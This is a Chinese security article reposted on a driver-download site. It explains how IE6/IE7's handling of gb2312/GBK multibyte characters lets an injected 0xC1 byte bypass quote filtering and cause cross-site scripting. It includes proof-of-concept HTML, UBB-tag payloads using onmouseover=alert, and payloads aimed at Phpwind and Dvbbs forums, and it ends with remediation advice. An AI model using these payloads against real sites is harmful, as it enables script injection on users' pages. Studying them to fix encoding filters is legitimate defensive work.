驱动管家:安全、高效、精准的专业驱动下载站!

IE处理宽字符集导致脚本安全漏洞如何修复?

2018-03-08 15:48:58责编:llp   来源:驱动管家     人气:

在一般的web程序里,显示数据给浏览器的时候都会指定一个字符集,在国内平时我们用到的字符集有utf-8,GBK,gb2312等等,字符集指示了浏览器该如何对待返回的数据。其中gb2312和GBK字符集使用得非常广泛,但是经证明,IE在处理这些宽字符集的时候存在问题,导致可能程序的一些安全规则被Bypass掉,引发严重的跨站脚本安全漏洞。在IE里,如果它遇到一个字符,它是指定字符集里的第一位的时候,就会认为其后续字符和当前字符构成一个合法的字符,这样它在解析包括html标签,处理javascript,Css时都会做如此考虑,测试版本为ie6和ie7。

IE处理宽字符集导致脚本安全漏洞如何修复?

1 Bypass某些js的检查规则

HTML]

[HEAD]

[TITLE]80sec test[/TITLE]

[meta http-equiv="Content-Type" content="text/html; charset=gb2312" /]

[/HEAD]

[BODY]

[script]

window.onerror=function(){

alert('Vul');

return true;

}

[/script]

[script]x='[?php echo chr(0xC1);?]';y='[User_IN_PUT]‘;[/script]

[/BODY]

[/HTML]

这里即使是过滤了〈>’\等字符一样可以利用非法字符集序列来实现\的作用,因为它会把原来存在的’给结合掉,然后前面的’找不到闭合,后面[User_IN_PUT]就可以用来执行js代码了。

2 Bypass某些属性的检查规则

为了避免直接使用html导致出现漏洞,一些论坛和程序使用了UBB标签,但是在gbk等多字节编码下,一样容易出现问题,以最容易出现问题的一个UBB标签为例子:

color=xyz[?php echo chr(0xC1);?]][/color][color=abc onmouseover=alert

(/xss/) s=[?php echo chr(0xC1);?]]exploited[/color]

0xC1是一个gb2312的第一个字节,上面结果将会转化为:

font color="xyz?][/font][font color="abc onmouseover=alert(/xss/) s=?]

exploited[/font]

其中的

alert(/xss/)

将会做一个事件执行,所以即使UBB标签也变得不安全,能饶过”的保护。许多论坛都没有注意这点,phpwind,动网等论坛就容易受到这种攻击。而Discuz通过在转换结果之后附加一个空格,修补了这一安全问题。这里使用到ubb标签其实有一个很有意思的tips在里面,因为有的数据库会抛弃与指定字符集不匹配的字符,所以必须借助后面的]等字符来形成一个有效的汉字才能存储到数据库里,当然像ACCESS这种就不会有问题了,另外一些语言在处理字符串的时候会强制字符串的字符集类型,不合法的字符会导致转码的失败或者遭到抛弃,所以也不能利用这种类型的攻击。

3 几个小例子

Phpwind论坛charset跨站脚本漏洞

[email=xxxx羃[/email][email=xxxx onmouseover=alert() s=羃]Fuck Me[/email]

[font=宋体;0xc1]xxx[/font]xx

羃是一个特殊的十六进制编码和后面的]结合出来的字符,第一个种方法可以直接复制的:)

0xc1表示一个十六进制的字符编码

同样在dvbbs论坛也很容易产生一个xss代码如下

xxxxxxxxxxx[/font]

均在新版和老版测试通过。

4 关于修复

对于程序设计者,由于UTF-8字符集的可靠性,不存在这个安全漏洞,所以大家在设计站点的时候可以考虑使用UTF-8字符集。

对于广大开发者,可以牢记最小输入等于最大安全的原则,在匹配正则的时候限制输入的字符的范围,尽量匹配ascii字符,如果必须使用中文,可以考虑类似于discuz的在中文后面添加空格修复该问题。

对于广大用户,这个漏洞由于浏览器处理页面字符的不同,可以考虑使用如Firefox浏览器,可以避免一部分这样的问题。

  • kindeditor使用教程:Kindeditor全盘浏览的漏洞是怎么造成的?

    kindeditor使用教程:Kindeditor全盘浏览的漏洞是怎么造成的?

    因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。下载地址:貌似是最新版本的。测试语言:PHP测试漏洞文件: kindeditor php file_manager_json php默

    详情2018-01-20 18:57:07责编:llp   来源:驱动管家     
  • 不让外来人员共享文件要怎么做?禁止外人共享文件的方法

    不让外来人员共享文件要怎么做?禁止外人共享文件的方法

    为了日常工作方便,设置共享文件服务器通常是大多数企业的管理方式,共享文件服务器上的共享文件仅用于局域网内的用户使用。但工作中免不了有客户来访,也需要连接网络,这样公司内部共享的文件也会向这些外来人

    详情2018-01-06 18:07:13责编:llp   来源:驱动管家     
  • 什么是windows defender?windows defender程序的分析破解

    什么是windows defender?windows defender程序的分析破解

    Defender与底层操作系统紧密集成在一起,且它是专为在基于NT的Windows系统中运行设计的。它可以在当前所有基于NT的系统中运行,包括Windows XP、Windows Server 2003、Windows 2000和Windows NT 4 0,但不

    详情2018-01-18 14:12:32责编:llp   来源:驱动管家     
  • 什么是syn flood攻击原理?syn flood防护算法有哪些?

    什么是syn flood攻击原理?syn flood防护算法有哪些?

    SYN Flood攻击早在1996年就被发现,但至今仍然显示出强大的生命力。很多操作系统,甚至防火墙、路由器都无法有效地防御这种攻击,而且由于它可以方便地伪造源地址,追查起来非常困难。它的数据包特征通常是,源

    详情2018-03-01 15:31:27责编:llp   来源:驱动管家     
  • 2003年前discuz论坛所有免费版本存在没限制短消息发送次数的漏洞,怎么办?

    2003年前discuz论坛所有免费版本存在没限制短消息发送次数的漏洞,怎么办?

    Discuz论坛是由Crossday工作室开发的PHP论坛系统。作为一个论坛,Discuz的确速度一流。可是安全性还有待提高。涉及版本:目前(2003 9 21)所有免费版本(我没有商业版)描述:由于pm php发送消息那部分代码,缺乏对

    详情2018-01-21 10:04:22责编:llp   来源:驱动管家     
  • 先要用taskList备份系统进程,后用系统自带的工具绞杀病毒

    先要用taskList备份系统进程,后用系统自带的工具绞杀病毒

    自己亲自动手来用系统自带的工具绞杀病毒比安装的那些软件还要好,那就是利用系统自带命令搞定手工杀毒,具体的步骤如下:一、自己动手前,切记有备无患——用TaskList备份系统进程新型病毒都学会了用进程来隐藏

    详情2018-02-12 13:12:55责编:llp   来源:驱动管家     
  • php漏洞是怎么形成的?如何构造sql注入语句?

    php漏洞是怎么形成的?如何构造sql注入语句?

    今天我要给大家讲解的是一个非常NB的入侵过程,我自己觉得非常的精彩,里面包含了非常多的知识点,这对与完全不懂php的朋友一样能够读懂,并且按照里面的技术自己来进行入侵类似的网站,并且能够得到非常好的效果

    详情2018-03-06 09:49:32责编:llp   来源:驱动管家     
  • 木马病毒怎么查杀?木马病毒有哪些查杀方法?

    木马病毒怎么查杀?木马病毒有哪些查杀方法?

    在用电脑的过程中,经常会遇到一些木马病毒,中病毒后,很多人都会表示用电脑杀毒软件杀毒就可以了,还有一些人在使用杀毒软件后发现,病毒在重启电脑之后又再次出现了,那么怎么样才能彻底查杀电脑中的木马病毒

    详情2018-01-18 10:09:30责编:llp   来源:驱动管家     
  • autorun.inf病毒有什么现象?删除autorun.inf如何做?

    autorun.inf病毒有什么现象?删除autorun.inf如何做?

    病毒现象1) 安全模式无法进入。2) 注册表HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Image File Execution Options下多出了许多劫持项,导致一些安全类软件和工具无法打开。图1:

    详情2018-01-28 09:33:56责编:llp   来源:驱动管家     
  • 互联网有哪些恶意软件?互联网十大恶意软件

    互联网有哪些恶意软件?互联网十大恶意软件

    想要从所有的安全厂商那里得到所有的数据并分析恶意软件感染的难度无异于“上青天”。不过总会有安全企业会通过自己的数据来分析当前网络威胁的数量和类型,以及恶意软件传播的高峰期或谷底期。安全厂商Check Po

    详情2018-01-14 10:34:55责编:llp   来源:驱动管家